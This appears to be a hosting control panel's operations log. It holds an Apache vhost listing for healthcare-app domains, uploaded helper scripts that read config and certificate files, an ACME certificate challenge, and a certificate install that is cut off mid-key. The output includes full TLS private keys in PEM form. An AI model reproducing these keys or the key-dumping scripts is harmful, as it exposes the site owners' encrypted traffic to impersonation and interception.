         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-10 22:44:41: 

PUT: /tmp/pkp557381

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_shop_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-10 22:44:41: 

chmod 755 /tmp/pkp557381; /tmp/pkp557381; rm /tmp/pkp557381

2025-12-10 22:44:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf	1360

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>







2025-12-10 22:44:41: 

PUT: /tmp/pkp215256

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-10 22:44:41: 

chmod 755 /tmp/pkp215256; /tmp/pkp215256; rm /tmp/pkp215256

2025-12-10 22:44:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99	5360
8f:9d:59:35:04:28:25:21:a2:af:6d:52:e9:65:0b:89

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBS1m2MX8AmH6WI4a4yVcZmhbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEwMjE0NjA5WhcNMjYwMzEwMjE0NjA4WjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAuC4wrn1GYHFrMUqqNZJlAVAc3XwJ9njVwDrBovCSiBCY1MdoREkuZ4lG
iyEyUJs81eT4VBb+6WffQKVGoYyqeoQ8gJXuXNaW9Vt2XngNfTyulZ39EDT0BQiV
hw2hUMfA/6U2BjXnK0wQneRs31wiG1/0F75+Il8RW3Nt9XWe+diAIlWgOs+CKj/w
578TAN56m1h+XWSy6TRZ6CrqGuL+uwYij7HhEHVLxirdkkx+hIC5EXLYnpR75m0o
xap2mVeCHMBM6ZLpofxzbg1Owv6rrSGLm4mjkU/SuFAWtmdzGC/WZAC4ogxGlqli
j0tSTXl+vOiMP+BGLwksB3h+8n2xSwIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRehwzD4qYkiy6uLBqOEMCg4BG7DjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Nob3AucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85Mi5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHx
AO8AdQBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZsKcCPOAAAE
AwBGMEQCIE/QlEbPq9l1gI6/3XUHdrAdgek0/fovyqK+rqHOpxR0AiAj9KDXbCuP
BDGKZjKT5IZkLnmpm4yo1ddJYuZkdfQg1AB2ANFuqaVoB35mNaA/N6XdvAOlPEES
FNSIGPXpMbMjy5UEAAABmwpwJOsAAAQDAEcwRQIgSrKEI+ly998qo4bgFg4KJpsc
5jG5XWmIcTQ9/dy9EjsCIQC58+QVDUnuW8F5cKc68lFs7r7Gl5ddNCc+ual6ElJu
YjANBgkqhkiG9w0BAQsFAAOCAQEAYgU66Wo96sWfu4+Q809xv66tflqJXmqL5Ezr
rKQZjRQnGsTUtDQJW7LBv7eLreNat+gb8txJu2w56P7w6dSSLN1okvyZP5c9mnUS
h1M4DSwhRC7svjJ5iziMAha4l3NdDaqp0EzuCzJMloB94vmzrw6ACqWC9+Typ0wo
Sc0SCFPrtAE6g4+xXhWelktptQiFAljDvTSEtTSUgMB0w1c6ZAxNKHExp5sv0HsP
j2SjhvGO/LHP2mkoA+jjCumrZDnvqCFi9NEslvuCxUqad7lVkjcldEKHRUebE4Ob
3G/v99njB8AS9yBtZ34iePd0iCY+vCMkqyxwLfJ7vNZMtrE4mg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC4LjCufUZgcWsx
Sqo1kmUBUBzdfAn2eNXAOsGi8JKIEJjUx2hESS5niUaLITJQmzzV5PhUFv7pZ99A
pUahjKp6hDyAle5c1pb1W3ZeeA19PK6Vnf0QNPQFCJWHDaFQx8D/pTYGNecrTBCd
5GzfXCIbX/QXvn4iXxFbc231dZ752IAiVaA6z4IqP/DnvxMA3nqbWH5dZLLpNFno
Kuoa4v67BiKPseEQdUvGKt2STH6EgLkRctielHvmbSjFqnaZV4IcwEzpkumh/HNu
DU7C/qutIYubiaORT9K4UBa2Z3MYL9ZkALiiDEaWqWKPS1JNeX686Iw/4EYvCSwH
eH7yfbFLAgMBAAECggEAMt9fRvMHW2A4kXbkKMP07jXooyy9u7yInf4cuhrk/nxH
Go6xuBrWnHaIa6mRsj4Owa3rAZ8Qbfvo6Hw+VCT8ebbI12OSYUZMkBzhRxq17x+x
wVXQLofR1woV8yXKpvtlzbcegvyki4sJE/OiNtfF+/W3AE/3mxrTOoVZm/EPJkc0
l5dkFWrW5psTKUCbzddJdJQysGjLLbqU/5q9ufHTlULjlk8NZ2/FwmKcgQYSO/NC
AOwOO5HddspQWnAU1pg/zli4TGkmRst2OxKhuZ97uCELqFRYBNisTd3sx52oSAb4
kePas28pqzCoBq6GDnHV20kS26DELMTVicL1L9wE0QKBgQDjegf7yuavnNiprmRc
HoU3UZSfw4OF6SjeduhgrBSzfAUXAuVQHSITNEFvStmxlqudwJVrNQtvh8Cjva8l
+vQgHnioIBbyIyHNR4UkByelYHkr4S8NlwR5RPpJTlDikmNmu7GkN96/KttbZ68C
MaFva2DvZGHIaTXQY/AYXeppzwKBgQDPRlr/PwV4RvKqd/NSIS5AqNyD8RZFX61Q
XO1h93szpEhzXT6OMzPPAt+hwu3Rn7gAwSb6agPJd+9PiQIHS+yrILG6fkjRvKig
zBhgadr3JQVRmD49fO3and8OaPyvnIV2djYuawABEPrQGEXWeSBvTJEdOrQ0qi1+
yZ/kNQOrxQKBgHfbHYfC8eeH6fUFySVsg16RYpEHcC5HmtwUpP4CzWmAqCHmybJ7
ly+tMekU9D0JGWWmSlRRf7QFQDBGSpnlb2nZBFP5jH2Km03RKErCZlZRzaacILG1
Z4sKGCI13JJ09WD09nWDZp8tUqUHrYOnaNsPJeUc7BSvssYZUjFUkqWrAoGABtjn
Jql5T8jgOVtvEVaBRaeOaVlsh+wqOI5pVSQs0L7rmcwJxf7RBlSs+JYM7zDcjkHT
PNCFwYERycnX5E/QyLJyzJthYnReCbnUUFMO5b02WMSzwao/3Un71WkId/CuxAQR
tCTawi5Cat9yZyxnMuYPoSyQSXEZwad9fbd2oJUCgYBSfGbbIxg8dnWSJMGj02Fj
/3Mcmho24f3VJS4hnQdR/3HylhSbZ1DfXrf5h+vsu0UfOXYXLkPzZvZ5Q2pf8NJA
HvKDN+AhNGF0JaoiXwsd+q2/PtFP0/dCh3GElTbjpEXdC0W74O0AOFEjUqw1oJhm
Cgh14Z1QafoVRu5Uy99T3g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-11 06:00:02: Establishing a connection
2025-12-11 06:00:03: Establishing a connection
2025-12-11 06:00:05: 

PUT: /tmp/pkp778423

#!/bin/bash
if [ -d "/var/www/hostz_mercury/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-11 06:00:06: 

chmod 755 /tmp/pkp778423; /tmp/pkp778423; rm /tmp/pkp778423

2025-12-11 06:00:06: 


1


2025-12-11 06:00:07: Establishing a connection
2025-12-11 06:00:09: 

PUT: /tmp/pkp967075

#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
cat > 3UfWN5RnZFXlwDAoLpSi1Q9djn4nnF4MA-nWDzwGAcY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3UfWN5RnZFXlwDAoLpSi1Q9djn4nnF4MA-nWDzwGAcY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3UfWN5RnZFXlwDAoLpSi1Q9djn4nnF4MA-nWDzwGAcY


2025-12-11 06:00:10: 

chmod 755 /tmp/pkp967075; /tmp/pkp967075; rm /tmp/pkp967075

2025-12-11 06:00:10: 




2025-12-11 06:00:16: Establishing a connection
2025-12-11 06:00:17: 

PUT: /tmp/pkp728894

#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
rm 3UfWN5RnZFXlwDAoLpSi1Q9djn4nnF4MA-nWDzwGAcY


2025-12-11 06:00:18: 

chmod 755 /tmp/pkp728894; /tmp/pkp728894; rm /tmp/pkp728894

2025-12-11 06:00:18: 




2025-12-11 06:00:18: Establishing a connection
2025-12-11 06:00:20: 

PUT: /tmp/pkp874541

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
0a:0b:5d:0b:9b:e9:c3:24:1d:be:c1:74:1c:17:9b:f0

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBmUbVmWuFCPdznIspdO5RL6lMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjExMDUwMTQ1WhcNMjYwMzExMDUwMTQ0WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANpK2OirhuSMTrU+2s1kxVM+YBB95RKSqlO6hEOZPtf7+G9hb2vw965jclOF
tBEcJUpWiUS4X5LMMw5o6A7jpBd7Pp3aF5cXimSgPRrR5W+7YdlODnx7/0raHIXC
3FpQxmTjEbMFPeFVM76C6/KbwIbTTjtvUiR8hIG2IxiT3CSshq/xx/VdFrxYkUI/
GRrzJjcgU9otVJmQBeLcZGLQ4GzEzdDS6PM6Ga+mlbHFCaU4zIBegVEyf57EMrBa
YGUjYmPNig8jOS07FkY/GYjIsdd91eTZ8W+U3B4Aom03+9ddVGkl9pDm/Oys9YTC
ZNfEZaOQ118+BdJpHnIYc52tyIsCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUtr4PAJgrqetHtfF/MP8dQnAYgz0wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXJjdXJ5Lmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzM4LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB3
AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmwv+7sQAAAQDAEgw
RgIhALl/+9nFxDJhN3DtZ+O2nGYdTHxKCevEHV4SnHXoaCTfAiEAzXpo0KzjQBtQ
YKe+WEwv+mfFiFYPmYq0oeWlLMkWQcIAfQClyXiSXVdGF4KHDdiJZgtcVWSLfQBA
8uwHaFHRiGkZ9wAAAZsL/vDWAAgAAAUAKyw84QQDAEYwRAIgfHJoOFLtio4ZVZR7
kbzbcwDLoSaFltp9rk2+s9rvK1MCIFH17X521BPz25XZDY0N+d2UuQO/K1U3dIDc
nEUlqxsdMA0GCSqGSIb3DQEBCwUAA4IBAQBQyIeht9g3MxOUI3ttEo+En+FEbxut
WaUQE+5U3Rc5/+xoUD+IJf2BrX6BGA9UvdCHvneOWxuYHVARvjh98Nl5Ije/T81w
Tou5MWz0AhbB2u956twmAh9K0WmTxjJbDHIPNc1u3jTMICQqIUb9zdkSTwJLTRtZ
8EvSUvUlK49fbThM89kyTBkGUPI/elcawQzEkRnoBywQFzyQKjFvKUkFdhqiPK1i
WiVHSb1/7lCDUTSz1ynnHShQ5zf0njNmRD073/bNwC6ZdxNkHWhuMQk1wXHbLwGA
7EibHSCFWKOzmnNoUkI4jIRqrYiYh32Ew2iZW2eXvaqaeB9sx/nRPgUv
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDaStjoq4bkjE61
PtrNZMVTPmAQfeUSkqpTuoRDmT7X+/hvYW9r8PeuY3JThbQRHCVKVolEuF+SzDMO
aOgO46QXez6d2heXF4pkoD0a0eVvu2HZTg58e/9K2hyFwtxaUMZk4xGzBT3hVTO+
guvym8CG0047b1IkfISBtiMYk9wkrIav8cf1XRa8WJFCPxka8yY3IFPaLVSZkAXi
3GRi0OBsxM3Q0ujzOhmvppWxxQmlOMyAXoFRMn+exDKwWmBlI2JjzYoPIzktOxZG
PxmIyLHXfdXk2fFvlNweAKJtN/vXXVRpJfaQ5vzsrPWEwmTXxGWjkNdfPgXSaR5y
GHOdrciLAgMBAAECggEAPolIwMc6+sizV7stBcCDw0hQTwkyEfMQdrItaAxD865M
yuPX/s1mt3/n5cOdBXXRvQ0zgAtt3elACzXEnVdb0BpPovsy3Ocyj4dUWhWdrDe7
XXy+K61+QpxfpXZgmEMhww9GJ8otoxs8mqx5GeTC8B0jAWXv22IMt/hM76KUY7C9
5QFExBmgg/Gh3IilvTC3YaxbkDisoROLltzgIeGmftgzEq6qHNVueXagPsVblUIu
QRdeNDhJCmeBrqgZYgjtuzTb3mEp+nffExW5EJe43+PNwAYSJIK/EltPfDEFHAbY
5bd2VsuE5HxQIyKwrjYx7ruUtj5laMPil3Xgtnf6KQKBgQDuzKzhHbRzYYp1Dwdi
oowkE8ur4e+EC31D+j8DT7zNBH09bLQd27GU35SNMey+bYmrctKdg1bie6hINwNA
rAkCD4IsTdTzMpP4A0JVyFUgs2AIRl9yrdS4QjaWYnErdlQYw9QRF/KeLi2+cBRx
srBEFVAEpx0YxZS8iPbo69Uh9QKBgQDqBAg990zyaswRSiidbLz04Ru55Fuw+rc+
LILw0dLTkw6jbWjOx78fljqPk9NoWPGGeyoiqvV2Z2ZqzkpR6Yflo2lA4uADvpsL
L8q1PVoy/uIZiry7gdSZNwRP7LfFMpTpm+ggszgyE0cLIOmepi2PBQkhj2KjdYCv
XgTPZcQwfwKBgAtMmf2I50nyWpfRXzsWj+UBHskCRtALryCxTZv9gOR+iuKGKzui
cpOlxKStsRMNoc7//uE/HrRWv46zM68ytLZpP3KTODlNslyw4smmUgjbE/cwRUHq
4b7aOzUAcXRqA+6sDXPFm1BKxRVWvlDm8Jo4G/Isah8K8k+9d1lsF0ilAoGAbbQ0
NPBxBxff0J8mSR6HunipKc0O2vm924y8Wa7TmdHPw/dvcbicNW+UxmgzbDB+EWA9
0YC5j6dLkPhiSOIkjhe8KOnywG6jemwOKEa5uTxZvEWY0oI7qxPqlplPUUe0HYu0
